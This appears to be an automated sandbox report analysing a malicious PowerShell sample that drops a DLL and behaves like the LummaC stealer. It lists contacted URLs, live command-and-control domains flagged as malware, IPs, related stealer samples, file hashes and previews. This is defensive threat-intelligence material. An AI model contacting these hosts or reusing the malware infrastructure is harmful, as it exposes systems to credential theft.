https://processhol.sbs:443/api	setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://info.wisecleaner.com/messages/index.php?to=checknews&pid=%dU	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000000.00000002.2583471088.000001E73BA0E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/points/shop/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=fetch-unread-message	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	rtl120.bpl.0.dr, Register.dll.0.dr	false		high
http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=upload-fileU	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
http://www.wisecleaner.net/wisecleaner_feedback/index.php?to=my-feedbackU	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sketchfab.com	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.wisecleaner.com/software_update/getinfo.php?p_id=7	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://lv.queniujq.cn	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crbug.com/819404	resources.pak0.0.dr	false		high
http://www.wisecleaner.com	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900/inventory/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sslcom.repository.certum.pl/ctnca.cer0:	powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000000.00000002.2554907242.000001E72BBC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://store.steampowered.com/privacy_agreement/	setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C820d04e8bfee2ac	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/share	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sslcom.ocsp-certum.com08	powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://store.steampowered.com/account/cooki	setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.wisecleaner.com/help.htmlS	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://github.com/novotnyllc/bc-csharp	powershell.exe, 00000000.00000002.2554907242.000001E72BF08000.00000004.00000800.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com/api&;	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/;	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://store.steampowered.com/about/	setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/my/wishlist/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://p3ar11fter.sbs:443/api-	setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tv~	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/publich	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	rtl120.bpl.0.dr, Register.dll.0.dr	false		high
https://help.steampowered.com/en/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com/market/	setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.160.80	marshal-zhukov.com	United States	13335	CLOUDFLARENETUS	false
23.55.153.106	steamcommunity.com	United States	20940	AKAMAI-ASN1EU	false
172.66.0.235	pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1561458
Start date and time:	2024-11-23 13:36:43 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 19s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	psol.txt.ps1
Detection:	MAL
Classification:	mal100.troj.evad.winPS1@4/231@12/3
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 88% Number of executed functions: 40 Number of non-executed functions: 57
Cookbook Comments:	Found application associated with file extension: .ps1

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 5852 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: psol.txt.ps1

Simulations

Behavior and APIs

Time	Type	Description
07:37:36	API Interceptor	44x Sleep call for process: powershell.exe modified
07:38:40	API Interceptor	10x Sleep call for process: setup.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.55.153.106	file.exe	Get hash	malicious	PureCrypter, LummaC, LummaC Stealer, PureLog Stealer, RedLine	Browse
	Aquantia_Setup 2.21.exe	Get hash	malicious	LummaC	Browse
	SecuriteInfo.com.Trojan-PWS.Win32.Zbot.16582.2034.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse
	LC Setup.exe.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	steal.exe	Get hash	malicious	LummaC	Browse
172.66.0.235	http://pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.html	Get hash	malicious	HTMLPhisher	Browse	pub-ba5a046c69974217b0431bca4ba43740.r2.dev/rep.html
	http://pub-51f896deb233450089fc1a520e6ed957.r2.dev/kanehods.html	Get hash	malicious	HTMLPhisher	Browse	pub-51f896deb233450089fc1a520e6ed957.r2.dev/kanehods.html
	http://pub-7d056bfeb6b04852801553620fe62c0a.r2.dev/brtw.html	Get hash	malicious	HTMLPhisher	Browse	pub-7d056bfeb6b04852801553620fe62c0a.r2.dev/brtw.html
	http://pub-f3922f20d4c74ba1869fd3db906e3295.r2.dev/gsecondcheck.html	Get hash	malicious	HTMLPhisher	Browse	pub-f3922f20d4c74ba1869fd3db906e3295.r2.dev/gsecondcheck.html
	http://pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html	Get hash	malicious	HTMLPhisher	Browse	pub-7ccd9eed2f7746f0844d3881a62a4c3f.r2.dev/blob%20(1).html
	http://pub-da74aa96e0b9429e84033f8671051bd7.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-da74aa96e0b9429e84033f8671051bd7.r2.dev/index.html
	http://pub-b8aece6410254e0eafbd860997dcc12f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-b8aece6410254e0eafbd860997dcc12f.r2.dev/index.html
	http://pub-a4d4b2b201fe4abc93f68d7648ccb42c.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	pub-a4d4b2b201fe4abc93f68d7648ccb42c.r2.dev/index.html
	http://pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html	Get hash	malicious	HTMLPhisher	Browse	pub-0b94d4f0b06646c5bbfca320d917c04a.r2.dev/insured.html
	http://pub-1cedadbfd7e64635bb38bf2b96ef0c3f.r2.dev/woosb.html	Get hash	malicious	Unknown	Browse	pub-1cedadbfd7e64635bb38bf2b96ef0c3f.r2.dev/woosb.html

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
marshal-zhukov.com	ceFgl3jkkk.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	modest-menu.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	n7ZKbApaa3.dll	Get hash	malicious	LummaC, Xmrig	Browse	188.114.97.3
	JaDheaBFXI.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	ftoHy3FsuB.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	alarmer.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	nlJ2sNaZVi.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	Loader.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
steamcommunity.com	SeT_up.exe	Get hash	malicious	LummaC Stealer	Browse	104.121.10.34
	ExL4unch#U20ac#U00ae.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	qaHUaPUib8.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	qaHUaPUib8.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	ceFgl3jkkk.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	aHPgKqtKWX.exe	Get hash	malicious	LummaC	Browse	104.121.10.34
	file.exe	Get hash	malicious	LummaC	Browse	23.192.247.89
	file.exe	Get hash	malicious	LummaC	Browse	23.210.122.61
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	23.197.127.21
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	23.199.218.33

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.25
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.209.72.21
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.136.149
	file.exe	Get hash	malicious	PureCrypter, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.200.3.13
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.18
	PO #09465610_GQ 003745_SO-242000846.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	172.234.222.143
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	104.117.182.72
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	2.22.112.167
	https://app.typeset.com/play/G4WZ1	Get hash	malicious	HTMLPhisher	Browse	2.16.34.8
CLOUDFLARENETUS	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.179
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.20.178
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	b.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93
CLOUDFLARENETUS	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.67.179
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.20.178
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.162.84
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Unknown	Browse	104.21.33.116
	b.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.88.250
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.44.93

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	172.66.0.235
	Setup.exe	Get hash	malicious	LummaC	Browse	172.66.0.235
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.66.0.235
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.66.0.235
	17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe	Get hash	malicious	XWorm	Browse	172.66.0.235
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.66.0.235
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.66.0.235
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.66.0.235
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.66.0.235
	es.hta	Get hash	malicious	Unknown	Browse	172.66.0.235
a0e9f5d64349fb13191bc781f81f42e1	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106 172.67.160.80
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106 172.67.160.80
	Setup.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 172.67.160.80
	Setup.exe	Get hash	malicious	LummaC	Browse	23.55.153.106 172.67.160.80
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	23.55.153.106 172.67.160.80
	file.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106 172.67.160.80
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106 172.67.160.80
	b.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106 172.67.160.80
	Loader.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106 172.67.160.80
	loader.exe	Get hash	malicious	LummaC Stealer	Browse	23.55.153.106 172.67.160.80

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Extracted1\Register.dll	xaSPJNbl.ps1	Get hash	malicious	LummaC	Browse
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/telop.zip	Get hash	malicious	Unknown	Browse
	a.ps1	Get hash	malicious	LummaC	Browse
	E6sNbxo5sh.exe	Get hash	malicious	Unknown	Browse
	Full Video HD (1080p).download.lnk	Get hash	malicious	CopperShrimp	Browse
C:\Users\user\AppData\Roaming\Extracted1\libvlccore.dll	xaSPJNbl.ps1	Get hash	malicious	LummaC	Browse
	https://recaptcha-checking-v3.b-cdn.net/verifyme.html	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	https://downcheck.nyc3.cdn.digitaloceanspaces.com/telop.zip	Get hash	malicious	Unknown	Browse
	a.ps1	Get hash	malicious	LummaC	Browse
	verify-captcha-987.b-cdn.net.ps1	Get hash	malicious	Clipboard Hijacker	Browse
	verifyhuman476.b-cdn.net.ps1	Get hash	malicious	Clipboard Hijacker	Browse
	https://streamvideox.b-cdn.net/HD-video-downloaders.html	Get hash	malicious	Clipboard Hijacker	Browse
	d7Kl3qTVng.exe	Get hash	malicious	LummaC	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.890472898059848
Encrypted:	false
SSDEEP:	192:6xoe5qpOZxoe54ib4ZVsm5emdqVFn3eGOVpN6K3bkkjo5OgkjDt4iWN3yBGHVQ9R:9rib4ZmVoGIpN6KQkj2Fkjh4iUxsT6YP
MD5:	8A4B02D8A977CB929C05D4BC2942C5A9
SHA1:	F9A6426CAF2E8C64202E86B07F1A461056626BEA
SHA-256:	624047EB773F90D76C34B708F48EA8F82CB0EC0FCF493CA2FA704FCDA7C4B715
SHA-512:	38697525814CDED7B27D43A7B37198518E295F992ECB255394364EC02706443FB3298CBBAA57629CCF8DDBD26FD7CAAC44524C4411829147C339DD3901281AC2
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	1524
Entropy (8bit):	5.389757880584728
Encrypted:	false
SSDEEP:	24:38Nn4SKco4KmBs4RPT6BmFoUe7u1omjKcm9qr9txNBJt/NKwJ0Pwr8HJYBlD3RB4:sNn4SU4y4RQmFoUeCamfm9qr9trBLNGv
MD5:	BBF5136AA416D150F197FDA4F6276B53
SHA1:	F1BCBA13FEF424A305D6C53D660C7165DCDA3D46
SHA-256:	15AF529A1F5E79E8279A6573FAFE6392ED08EA13C060DAC7261B2439F33D0015
SHA-512:	B563156CF686567AC0A1FCB5660C6C7FE6BCAB1D92F380637E8A7A6DBBD9A6BDA4C7B591133EC44C7FC8363637A4D5B11BEA919EE3B8AA380096644C4A2A8040
Malicious:	false
Reputation:	low
Preview:	@...e...........8....................................@..........H...............x..}...@..."~.u....... .System.IO.Compression.FileSystemH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.................0..~.J.R...L........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P................1]...E...........(.Microsoft.PowerShell.Commands.Ma

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lawaq4la.agj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkzobuuj.vzg.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Extracted1\Register.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1081320
Entropy (8bit):	6.564787951526749
Encrypted:	false
SSDEEP:	24576:k0Rdvjw14ZCWQuTs54Qbz27j7BS2Nv+4BT8+u60:BDZ2zAj7pXT3i
MD5:	40B9628354EF4E6EF3C87934575545F4
SHA1:	8FB5DA182DEA64C842953BF72FC573A74ADAA155
SHA-256:	372B14FCE2EB35B264F6D4AEEF7987DA56D951D3A09EF866CF55ED72763CAA12
SHA-512:	02B0EA82EFBFBE2E7308F86BFBEC7A5109F3FE91D42731812D2E46AEBEDCE50AABC565D2DA9D3FBCD0F46FEBBFF49C534419D1A91E0C14D5A80F06B74888C641
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: xaSPJNbl.ps1, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: a.ps1, Detection: malicious, Browse Filename: E6sNbxo5sh.exe, Detection: malicious, Browse Filename: Full Video HD (1080p).download.lnk, Detection: malicious, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L......d.................l..........8.............@.....................................................................;........-...................4...K...........................................................................................text....V.......X.................. ..`.itext..d....p.......\.............. ..`.data...d............p..............@....bss.....d...P......."...................idata...-..........."..............@....edata..;............P..............@..@.reloc...............R..............@..B.rsrc................6..............@..@.....................4..............@..@........................................................................................................................................

C:\Users\user\AppData\Roaming\Extracted1\__MACOSX\._Register.dll

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	AppleDouble encoded Macintosh file
Category:	dropped
Size (bytes):	214
